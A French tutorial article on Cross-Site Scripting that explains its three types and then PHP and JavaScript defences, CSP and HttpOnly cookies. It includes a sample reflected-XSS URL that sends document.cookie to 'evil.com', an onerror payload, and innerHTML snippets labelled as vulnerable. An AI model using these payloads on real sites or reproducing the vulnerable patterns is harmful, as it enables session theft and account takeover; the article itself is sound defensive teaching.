Il existe dans le monde du web une catégorie de personnes dont le passe-temps favori consiste à injecter du code dans les sites des autres. Pas pour le sport (enfin, pas seulement), mais parce que ça marche encore, souvent, et c'est là le problème.
Le Cross-Site Scripting, ou XSS, est une vulnérabilité vieille comme Netscape, régulièrement dans le top 10 de l'OWASP Open Worldwide Application Security Project, et pourtant toujours présente dans une quantité non négligeable de projets en production.
C'est quoi exactement, XSS ?
Une attaque XSS se produit lorsqu'un attaquant réussit à injecter du code JavaScript malveillant dans une page web, et que ce code est ensuite exécuté dans le navigateur d'un autre utilisateur.
Vu d'un autre angle : quelqu'un écrit et arrive à faire exécuter du code sur votre site, et vos utilisateurs le subissent.
Ce code peut faire à peu près tout ce que JavaScript permet : voler des cookies de session, rediriger vers un faux site, afficher un faux formulaire de connexion, enregistrer les frappes clavier, ou simplement afficher un message gênant. Les conséquences vont du simple embarras à la compromission totale d'un compte puisqu'on peut s'en servir pour récupérer des mots de passe.
Les trois axes d'attaque XSS
1. XSS réfléchi (Reflected XSS)
La charge malveillante est contenue dans la requête elle-même (souvent dans l'URL) et renvoyée directement dans la réponse HTML. L'attaquant doit convaincre une victime de cliquer sur un lien spécialement forgé.
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Si le serveur réaffiche sans la vérifier la valeur de q dans la page sans l'encoder, bingo. Ce type d'attaque est souvent véhiculé par email ou message instantané. Ce n'est pas très évolué ni extrêmement courant de nos jours, mais quand ça passe, c'est simple et efficace.
2. XSS stocké (Stored XSS)
Là, ça devient plus sérieux : le code malveillant est enregistré dans la base de données (commentaire, pseudo, bio, champ de formulaire…) et servi à tous les visiteurs de la page concernée.
Imaginez un forum où l'attaquant poste un commentaire contenant un script. Chaque personne qui charge la page exécute ce script, sans le savoir.
3. XSS basé sur le DOM (DOM-based XSS)
Ici, le serveur n'est pas en cause, le problème est entièrement côté client/navigateur. Le script malveillant est exécuté parce que du JavaScript légitime de la page lit et utilise des données non fiables (des API sensibles telles qu'URL, localStorage, postMessage…) sans les vérifier.
// Code vulnérable côté client
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Bonjour ' + name;
Un attaquant passe ?name=<img src=x onerror=alert(1)> dans l'URL et 🧨.
Pourquoi ça marche encore de nos jours ?
Parce que la confiance est le problème fondamental. On fait confiance aux données qui viennent de l'utilisateur, de la base de données, d'une API tierce, sans vérifier. Et un navigateur, lui, fait confiance à tout ce qu'une page lui envoie. C'est fortement lié à la question de la rétro-compatibilité, pour permettre à tous les sites de fonctionner y compris ceux du "passé" qui n'étaient pas équipés de pratiques de sécurité bloquant par défaut les actions sensibles.
Toute donnée externe est potentiellement risquée. Paramètres d'URL, champs de formulaire, en-têtes HTTP, données de l'utilisateur stockées, etc.
Comment s'en protéger ?
Échapper les sorties
Le principe numéro un, quel que soit le contexte : encoder les données avant de les afficher. On ne parle même pas de les valider à l'entrée ici (même si c'est utile), mais de les rendre inoffensives au moment où elles atterrissent dans la page.
En PHP
htmlspecialchars() est fait pour ça :
// ❌ Dangereux
echo $_GET['name'];
// ✅ Mieux
echo htmlspecialchars($_GET['name'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
htmlspecialchars() convertit les caractères spéciaux HTML (<, >, ", ', &) en entités HTML. Le texte <script>alert(1)</script> devient <script>alert(1)</script> affiché comme du... texte, pas exécuté comme du code.
- Toujours préciser
ENT_QUOTESpour encoder aussi les guillemets simples - Toujours préciser l'encodage
UTF-8explicitement - Cette fonction est faite pour le contexte HTML. Dans un attribut JavaScript ou une URL, les règles sont différentes (voir plus bas)
Dans un attribut HTML :
<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">
Dans une URL :
<a href="/profile?user=<?= urlencode($username) ?>">Profil</a>
N'utilisez pas htmlspecialchars() pour des valeurs qui vont dans des URLs : urlencode() est fait pour ça.
Pour PHP + JavaScript (à éviter si possible) : injecter des données PHP dans du JavaScript inline, c'est possible mais périlleux. Si c'est vraiment nécessaire :
<script>
const userId = <?= json_encode($userId, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>
json_encode() avec ces flags encode les caractères dangereux, mais préférez passer les données via un attribut data-* dans une balise HTML, ou une API JSON.
En JavaScript (vanilla)
textContent plutôt que innerHTML, c'est la règle la plus simple et la plus efficace :
// ❌ Dangereux — interprète le HTML
element.innerHTML = userInput;
// ✅ Sûr — traite tout comme du texte brut
element.textContent = userInput;
textContent n'interprète pas le HTML.
Si vous devez construire du HTML dynamique, construisez des éléments DOM plutôt que des chaînes directement injectées :
// ❌ À éviter
container.innerHTML = `<p>Bonjour ${userName}</p>`;
// ✅ Mieux
const p = document.createElement('p');
p.textContent = `Bonjour ${userName}`;
container.appendChild(p);
Méfiez-vous des sources de données non fiables.
// ❌ Vulnérable au DOM XSS
const search = new URLSearchParams(location.search).get('q');
results.innerHTML = `Résultats pour : <strong>${search}</strong>`;
// ✅ Correct
const search = new URLSearchParams(location.search).get('q');
const label = document.createElement('p');
label.textContent = `Résultats pour : `;
const strong = document.createElement('strong');
strong.textContent = search;
label.appendChild(strong);
results.appendChild(label);
La Content Security Policy (CSP)
Même avec un code impeccable, une erreur peut passer. Content Security Policy est une couche de protection supplémentaire : elle indique au navigateur quels scripts il est autorisé à exécuter.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com
Avec cette directive, le navigateur refusera d'exécuter tout script qui ne vient pas de votre domaine ou de votre CDN autorisé — y compris un éventuel script injecté via XSS.
La CSP se configure dans les en-têtes HTTP (côté serveur) ou via une balise <meta> :
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
Attention : une CSP bien configurée prend un peu de temps à mettre en place (notamment pour les scripts inline et les ressources tierces), mais c'est un excellent filet de sécurité.
Les attributs HttpOnly et Secure sur les cookies
Une bonne part des attaques XSS ciblent les cookies de session pour les voler via document.cookie. Le flag HttpOnly rend les cookies inaccessibles à JavaScript :
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly: le cookie n'est pas accessible via JavaScriptSecure: le cookie n'est transmis que sur HTTPSSameSite=Strict: le cookie n'est pas envoyé dans les requêtes cross-site (protection CSRF en bonus)
Ce n'est pas une protection contre le XSS lui-même, mais ça limite considérablement l'impact d'une exploitation réussie.
Récapitulatif
| Contexte | Risque | Solution |
|---|---|---|
| PHP 👉 HTML | Injection de balises | htmlspecialchars() avec ENT_QUOTES |
| PHP 👉 URL | Injection dans href/src | urlencode() |
| PHP 👉 JavaScript | Injection dans scripts inline | json_encode() avec flags |
| JS vanilla 👉 DOM | innerHTML avec données externes |
textContent |
| Tous | Script injecté exécuté | CSP + cookies HttpOnly |
Pour aller plus loin
- OWASP XSS Prevention Cheat Sheet la référence
- DOMPurify lib de "nettoyage" HTML côté client
- MDN : Content Security Policy tout sur la CSP
- XSS Game s'entraîner à détecter les failles dans un environnement bac à sable
Commenter
Vous devez être inscrit et identifié pour utiliser cette fonction.
Connectez-vous
Pas encore inscrit ? C'est très simple et gratuit.